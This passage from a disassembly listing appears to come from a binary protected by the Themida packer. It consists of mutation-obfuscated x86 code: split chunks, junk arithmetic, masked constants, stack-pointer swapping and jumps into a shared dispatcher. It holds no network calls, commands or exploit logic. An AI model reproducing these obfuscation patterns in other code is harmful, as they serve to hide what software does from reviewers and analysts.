; FUNCTION CHUNK AT 00562C98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00562FD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563BAA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056462F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564691 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565761 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565A49 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00566BCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005673DD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005683D5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005684B0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005684FC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005696D9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00569724 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056997A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A50C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C0CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DB32 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E47F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571A81 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00572518 SIZE 00000015 BYTES
sub esp, 4
jmp loc_564691
sub_56BD44 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56BD4C: ; CODE XREF: sub_561418+C59j
shr edx, 1
cmp eax, edx
jz loc_57529E
sub esp, 4
jmp loc_56563A
; END OF FUNCTION CHUNK FOR sub_561418
; =============== S U B R O U T I N E =======================================
sub_56BD61 proc near ; DATA XREF: Themida_:0055FE88o
; FUNCTION CHUNK AT 005749E9 SIZE 00000005 BYTES
neg byte ptr [esp+0]
pushf
jmp loc_5749E9
sub_56BD61 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_56BD6A: ; CODE XREF: sub_575420+1j
xor al, bl
push ebx
mov bh, 63h
jmp loc_567ED5
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56BD74: ; CODE XREF: sub_5620B7+CC5Bj
mov dh, 73h
not dh
add dh, 41h
jmp loc_566151
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_56BD80: ; CODE XREF: sub_569A84+7738j
mov ebp, eax
mov eax, [esp+0Ch+var_C]
jmp loc_572F21
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
loc_56BD8A: ; CODE XREF: Themida_:00562E57j
neg ebx
inc ebx
dec ebx
jmp loc_56A905
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56BD93: ; CODE XREF: sub_564D26+48C1j
xor ebx, 631F71B1h
jmp loc_56F928
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568F83
loc_56BD9E: ; CODE XREF: sub_568F83+Fj
and ebx, 4F1C6CF0h
sub ebx, 9E6FB6AAh
mov esi, ebx
jmp loc_562DBB
; END OF FUNCTION CHUNK FOR sub_568F83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56BDB1: ; CODE XREF: sub_56102D+12BBAj
pop esp
add esp, 4
push 5403h
mov [esp+8+var_8], ecx
jmp loc_57232B
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56BDC5: ; CODE XREF: sub_574CDD-6DDCj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
jmp loc_5643F1
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_56BDD8: ; CODE XREF: sub_5653AD+ED7Dj
sub ebx, 71343170h
mov eax, [esp+0]
add esp, 4
jmp loc_56E80F
; END OF FUNCTION CHUNK FOR sub_5653AD
; =============== S U B R O U T I N E =======================================
sub_56BDE9 proc near ; CODE XREF: sub_56ACDE+1A15j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560BFE SIZE 00000014 BYTES
push ebx
mov ebx, esp
add ebx, 4
push edx
mov edx, 4
add ebx, edx
jmp loc_560BFE
sub_56BDE9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_56BDFF: ; CODE XREF: sub_570CE4+32EBj
shl eax, 6
jmp loc_56660F
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56BE07: ; CODE XREF: sub_564D26+5523j
push 5448h
mov [esp+20h+var_20], edx
mov edx, 5E050C6h
or edi, edx
push [esp+20h+var_20]
pop edx
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
jmp loc_569694
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_56BE2E: ; CODE XREF: Themida_:0056A1A9j
add esp, 4
jmp loc_56E139
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5631A3
loc_56BE36: ; CODE XREF: sub_5631A3+6j
mov [esp+4+var_4], edx
mov edx, 16106BD7h
mov edi, 16106BDBh
push edx
mov edx, 6C405CEEh
sub edx, 660B1A1Ch
sub edi, edx
pop edx
sub edi, edx
add edi, 63542D2h
push [esp+4+var_4]
mov edx, [esp+8+var_8]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
add esp, 4
sub dword ptr [esp+4], 13C935A6h
add [esp+4], edi
jmp loc_565ABF
; END OF FUNCTION CHUNK FOR sub_5631A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56BE87: ; CODE XREF: sub_561541+6A66j
neg edx
shr edx, 2
add edx, 42CF5A6Ch
add ebx, edx
pop edx
add ebx, 0F29CBDB0h
sub edx, ebx
mov ebx, [esp+10h+var_10]
jmp loc_572EE4
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56BEA5: ; CODE XREF: sub_569193+11D0j
pop eax
sub esp, 4
mov [esp+4+var_4], edi
jmp loc_570C2D
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_56BEB4: ; CODE XREF: sub_5726FB-B501j
add edi, 4
jmp loc_57256E
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56BEBF: ; CODE XREF: sub_56CC46+38F0j
add ecx, esi
add ecx, 52B20B69h
push edx
jmp loc_5719EC
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_56BECD: ; CODE XREF: sub_560EA2+11CB1j
add esi, 4
sub esi, 4
xchg esi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
push esp
pop ebx
add ebx, 4
push edi
mov edi, 4
add ebx, edi
pop edi
push ebx
push [esp+8+var_4]
pop ebx
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+0]
pop esp
mov [esp-4+arg_0], ebp
push ebx
mov ebx, 4DCC384Ch
jmp loc_56DDFE
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56BF1A: ; CODE XREF: sub_56CD13-6A37j
mov ecx, 98BCD12Fh
jmp loc_5611CE
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_56BF24: ; CODE XREF: sub_5680FB-5E77j
add esp, 4
xchg ebp, [esp+4+var_4]
push [esp+4+var_4]
pop ebp
push eax
mov eax, esp
push esi
mov esi, 4
push 3408h
mov [esp+10h+var_10], ecx
mov ecx, 586952BAh
sub eax, ecx
mov ecx, [esp+10h+var_10]
jmp loc_569B07
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_56BF51: ; CODE XREF: sub_560C12+681j
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp-4+arg_0], edi
push [esp-4+arg_4]
push dword ptr [esp+0]
jmp loc_565CC2
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56BF6A: ; CODE XREF: sub_5605BC+Cj
mov ebp, 1D5E39C4h
push ebp
neg [esp+14h+var_14]
pop ebp
jmp loc_571BBA
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_56BF79: ; CODE XREF: sub_5643EB+10FA4j
add eax, esi
mov esi, [esp-8+arg_4]
add esp, 4
push ecx
mov ecx, 0
add ecx, eax
mov [ecx], dl
mov ecx, [esp-8+arg_4]
add esp, 4
pop eax
push dword ptr [esp+0]
jmp loc_56B4AA
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_56BF9D: ; CODE XREF: sub_56D69D-B22Ej
add eax, 3F2B2BC6h
sub eax, edx
sub eax, 3F2B2BC6h
pop edx
mov edi, [esp+4+var_4]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_567442
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56BFBE: ; CODE XREF: sub_569193+533Cj
pop ebx
pop [esp+8+var_8]
jmp loc_5638EC
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56BFC7: ; CODE XREF: sub_5754DA+Aj
or ch, 4Ch
not ch
xor ch, 81h
sub esp, 4
mov [esp+8+var_8], edx
mov dh, 81h
sub dh, 96h
and dh, 65h
not dh
xor dh, 8Bh
jmp loc_5696F0
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_56BFE7: ; CODE XREF: sub_566AF9+5C26j
pop edx
add esp, 4
jmp loc_569125
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56BFF3: ; CODE XREF: sub_563A7F+10B82j
add esp, 4
jmp loc_56A613
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56BFFB: ; CODE XREF: sub_572075-F6D1j
sub esi, edx
add esi, 113F4CBCh
jmp loc_572C60
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_56C008: ; CODE XREF: sub_572DD7+13EDj
push edi
jmp loc_565F98
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_56C00E: ; CODE XREF: sub_56A608+38B9j
add ebx, esi
jmp loc_561F3A
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56C015: ; CODE XREF: sub_5685B2+2D8Aj
sub edx, 3AC67C51h
add edx, ebx
add edx, 3AC67C51h
jmp loc_571EF2
; ---------------------------------------------------------------------------
loc_56C028: ; CODE XREF: sub_5685B2-188Dj
add esp, 4
add esp, 4
xor ebx, eax
sub esp, 4
mov [esp-8+arg_4], eax
mov eax, esp
push ebx
jmp loc_570D21
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563BCC
loc_56C047: ; CODE XREF: sub_563BCC+10j
add esp, 4
add ecx, 4
jmp loc_57288B
; END OF FUNCTION CHUNK FOR sub_563BCC
; ---------------------------------------------------------------------------
loc_56C055: ; CODE XREF: Themida_:005715EBj
push eax
mov eax, 9F04539Dh
add ebp, eax
pop eax
add ebx, ebp
pop ebp
mov edi, [esp]
jmp loc_568622
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562676
loc_56C069: ; CODE XREF: sub_562676+22j
dec eax
jmp loc_56CD68
; END OF FUNCTION CHUNK FOR sub_562676
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56C06F: ; CODE XREF: sub_56628B+5F78j
sub esi, 7EA1037Fh
sub esi, 2413973Fh
jmp loc_5685D8
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_56C080: ; CODE XREF: sub_5604FE+D067j
push esi
mov esi, 508905C4h
dec esi
xor esi, 6D6E45EFh
or esi, 5DAB21A3h
jmp loc_569D9D
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56C098: ; CODE XREF: sub_565632+282Dj
xor eax, ecx
sub esp, 4
mov [esp-8+arg_4], eax
xchg ebp, [esp-8+arg_4]
push esi
mov esi, esp
jmp loc_5609B5
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56C0AB: ; CODE XREF: sub_5685B2-667Dj
pop [esp+10h+var_10]
pop esp
mov [esp+8+var_8], ebx
mov bh, 0ECh
jmp loc_563987
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56C0B9: ; CODE XREF: sub_574FC9-685Dj
push esp
pop edi
push edx
mov edx, 4
add edi, edx
jmp loc_56905F
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A016
loc_56C0C8: ; CODE XREF: sub_56A016-216Fj
inc ecx
jmp sub_563DCB
; END OF FUNCTION CHUNK FOR sub_56A016
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56C0CE: ; CODE XREF: sub_56BD44-65D5j
push ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56C0D6: ; CODE XREF: sub_56FA15+1EF8j
pop ebx
jmp loc_56232F
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
loc_56C0DC: ; CODE XREF: Themida_:0056F313j
add edx, 4
add edx, 4
jmp loc_56D123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56C0ED: ; CODE XREF: sub_56FA15-42DEj
push eax
jmp loc_571CFB
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
loc_56C0F3: ; CODE XREF: Themida_:00573B2Aj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push esp
jmp loc_565F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564746
loc_56C10C: ; CODE XREF: sub_564746+16j
mov cl, ah
pop eax
not bh
xchg bh, cl
add cl, 66h
inc cl
jmp loc_56B341
; END OF FUNCTION CHUNK FOR sub_564746
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_56C11D: ; CODE XREF: sub_5634AF+363Dj
mov ecx, esi
pop esi
sub edx, ecx
jmp loc_5753E4
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56C127: ; CODE XREF: sub_568E5C+BED7j
pop edx
jmp loc_56D9CA
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5662F9
loc_56C12D: ; CODE XREF: sub_5662F9+836Cj
pop esp
jmp loc_56A8E5
; END OF FUNCTION CHUNK FOR sub_5662F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_56C133: ; CODE XREF: sub_561541+B93Cj
push edx
mov edx, 156B5F77h
jmp loc_571F45
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_56C13E: ; CODE XREF: sub_5692D3+13j
mov [esp+0Ch+var_C], esi
jmp loc_567E98
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_56C146: ; CODE XREF: sub_56651E+18j
add [esp+8+var_4], edi
add [esp+8+var_4], 78D93E6Dh
pop edi
jmp loc_56EAF1
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D72
loc_56C158: ; CODE XREF: sub_567D72+15j
pop eax
push eax
mov eax, esp
add eax, 4
push 5680h
mov [esp+0Ch+var_C], ebx
mov ebx, 4
sub eax, 37D33DB4h
sub eax, ebx
add eax, 37D33DB4h
pop ebx
jmp loc_5645DF
; END OF FUNCTION CHUNK FOR sub_567D72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56C180: ; CODE XREF: sub_569FB8+408Cj
add esp, 4
add al, 6Ch
sub al, bh
sub al, 6Ch
sub al, 21h
mov bx, [esp+2+var_2]
jmp loc_565E25
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_56C194: ; CODE XREF: sub_563DCB-2C41j
mov al, 0A5h
sub esp, 4
jmp loc_5667BC
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56C1A1: ; CODE XREF: sub_561027+8794j
mov esi, 1F334BE2h
add esi, 0F4DFFEABh
add ebp, 40300041h
add ebp, esi
jmp loc_56F50F
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_56C1B9: ; CODE XREF: sub_5753A5-15E0j
mov esp, [esp+4+var_4]
mov ax, [esp-4+arg_0]
sub esp, 4
mov [esp+0], edi
jmp loc_56A7C1
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56C1CE: ; CODE XREF: sub_5734A7-6EEBj
sub ebx, 4FA56F58h
add ebx, edx
add ebx, 4FA56F58h
pop edx
push ebx
push [esp+0Ch+var_8]
mov ebx, [esp+10h+var_10]
add esp, 4
pop [esp+0Ch+var_C]
jmp loc_56F10C
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56331C
loc_56C1F0: ; CODE XREF: sub_56331C+Cj
xor ecx, 41101E33h
add eax, ecx
jmp loc_57284D
; END OF FUNCTION CHUNK FOR sub_56331C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56C1FD: ; CODE XREF: sub_56628B+EEj
add eax, edx
pop edx
sub esi, eax
pop eax
jmp loc_56C06F
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56C208: ; CODE XREF: sub_561418+C836j
mov esi, 285F4BF7h
sub esp, 4
mov [esp+0Ch+var_C], edx
mov edx, 344905B3h
add esi, 31FF0A8Ah
sub esi, 3DBF2D46h
jmp loc_56736E
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56C229: ; CODE XREF: sub_572141-288Aj
rol word ptr [esp+0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
jmp loc_56E920
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56959A
loc_56C241: ; CODE XREF: sub_56959A+816Cj
mov esp, [esp+0]
and [esp+0], al
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56959A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572EDC
loc_56C24D: ; CODE XREF: sub_572EDC+3j
push [esp+4+var_4]
push [esp+8+var_8]
pop eax
add esp, 4
sub esp, 4
mov [esp+8+var_8], eax
push esp
jmp loc_56037F
; END OF FUNCTION CHUNK FOR sub_572EDC
; ---------------------------------------------------------------------------
loc_56C266: ; CODE XREF: Themida_:005699B4j
mov [esp], edi
xor dword ptr [esp], 22E12803h
pop esi
xor esi, 22E12803h
pop edi
add esi, edi
pop edi
add esi, ecx
pop ecx
jmp loc_572846
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56C283: ; CODE XREF: sub_561027-6F5j
push [esp-4+arg_4]
jmp loc_575103
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56C28C: ; CODE XREF: sub_56FA44+13j
mov [esp+8+var_8], ebp
push esi
jmp loc_5705BC
; END OF FUNCTION CHUNK FOR sub_56FA44
; =============== S U B R O U T I N E =======================================
sub_56C295 proc near ; CODE XREF: sub_56504F+1EBBj
var_8 = dword ptr -8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0056078F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00561033 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00563340 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056E998 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570601 SIZE 0000000D BYTES
push ebp
sub esp, 4
jmp loc_570601
sub_56C295 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56C29E: ; CODE XREF: sub_56AEF2-5FC4j
add bl, 0DEh
jmp loc_575455
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_56C2A6: ; CODE XREF: sub_56A423+2349j
push ecx
not [esp+10h+var_10]
pop ecx
push edx
jmp loc_561DC3
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE4B
loc_56C2B1: ; CODE XREF: sub_56AE4B-6B0Cj
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
mov eax, [esp+4+var_4]
add esp, 4
add eax, 4
add eax, 4
xor eax, [esp+0]
xor [esp+0], eax
xor eax, [esp+0]
mov esp, [esp+0]
jmp loc_574CD8
; END OF FUNCTION CHUNK FOR sub_56AE4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56C2DA: ; CODE XREF: sub_565632+8C6Fj
pop eax
add ecx, 5C590112h
add ecx, esi
sub ecx, 5C590112h
pop esi
push edx
push eax
mov eax, 8F4328Bh
sub eax, 8E76E86Dh
jmp loc_571958
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56C2FB: ; CODE XREF: sub_5673C3+3CEDj
add edi, eax
push [esp-4+arg_0]
pop eax
add esp, 4
push esi
jmp loc_56982C
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_56C30A: ; CODE XREF: sub_56351E+Fj
dec ebx
add ebx, 64773EFAh
add ebx, 78E73050h
sub ebx, 0CF927500h
jmp loc_57530D
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_56C322: ; CODE XREF: sub_574DC1-14A52j
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
jmp loc_566653
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_56C332: ; CODE XREF: sub_57523A-6570j
mov esp, [esp+8+var_8]
dec [esp-4+arg_0]
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562BA0
loc_56C33E: ; CODE XREF: sub_562BA0+CF3Dj
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
sub edx, 11CA5F60h
sub edx, ecx
add edx, 11CA5F60h
pop ecx
xchg edx, [esp+0]
mov esp, [esp+0]
mov [esp+0], edx
jmp loc_56BC18
; END OF FUNCTION CHUNK FOR sub_562BA0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DD54
loc_56C378: ; CODE XREF: sub_56DD54-8B3Dj
mov edx, [esp-4+arg_0]
add esp, 4
add edx, esi
pop esi
push edx
push [esp-8+arg_8]
pop edx
jmp loc_5658F4
; END OF FUNCTION CHUNK FOR sub_56DD54
; =============== S U B R O U T I N E =======================================
sub_56C38F proc near ; CODE XREF: sub_56FB8A-2DC4j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056202E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00562E7E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005668D8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00566CA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566CED SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00568F6A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005693A8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056CB55 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F790 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057269B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572B1E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005750D2 SIZE 0000000C BYTES
push ebx
mov ebx, 364F0266h
add ebx, 14AA27DCh
add ebx, 6A83DD8h
sub ebx, 5075F3C5h
or edx, ebx
pop ebx
shl edx, 6
sub esp, 4
mov [esp+4+var_4], ebp
push edi
push ecx
push 6D0607C2h
jmp loc_57269B
sub_56C38F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56C3BF: ; CODE XREF: sub_569FB8-8C8Bj
pop ecx
push 4641h
mov [esp+0Ah+var_A], ecx
mov ch, dh
mov bh, ch
mov ecx, [esp+0Ah+var_A]
jmp loc_56A598
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_56C3D4: ; CODE XREF: sub_565A8D+C712j
xor [esp+0], ebx
xor ebx, [esp+0]
mov esp, [esp+0]
jmp loc_57516F
; END OF FUNCTION CHUNK FOR sub_565A8D
; =============== S U B R O U T I N E =======================================
sub_56C3E2 proc near ; CODE XREF: sub_5604FE+1315Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0056219D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00563CAA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00564078 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00564AC5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005675C6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567F44 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056E61B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057106C SIZE 00000015 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
sub esp, 4
mov [esp+8+var_8], esp
push ebx
mov ebx, 4
add [esp+0Ch+var_8], ebx
pop ebx
mov ebp, [esp+8+var_8]
add esp, 4
add ebp, 4
push edx
mov edx, 4
jmp loc_564AC5
sub_56C3E2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_56C416: ; CODE XREF: sub_57549C-CEB5j
mov [esp+0Ch+var_C], ecx
mov ecx, 0AD41D74h
xor ebp, ecx
pop ecx
push 442Ch
mov [esp+0Ch+var_C], edx
jmp loc_573A9D
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_56C42E: ; CODE XREF: sub_572641-E5CEj
xor al, dl
jmp loc_560950
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56C435: ; CODE XREF: sub_5754DA-14FF8j
add ebp, 4
add ebp, 4
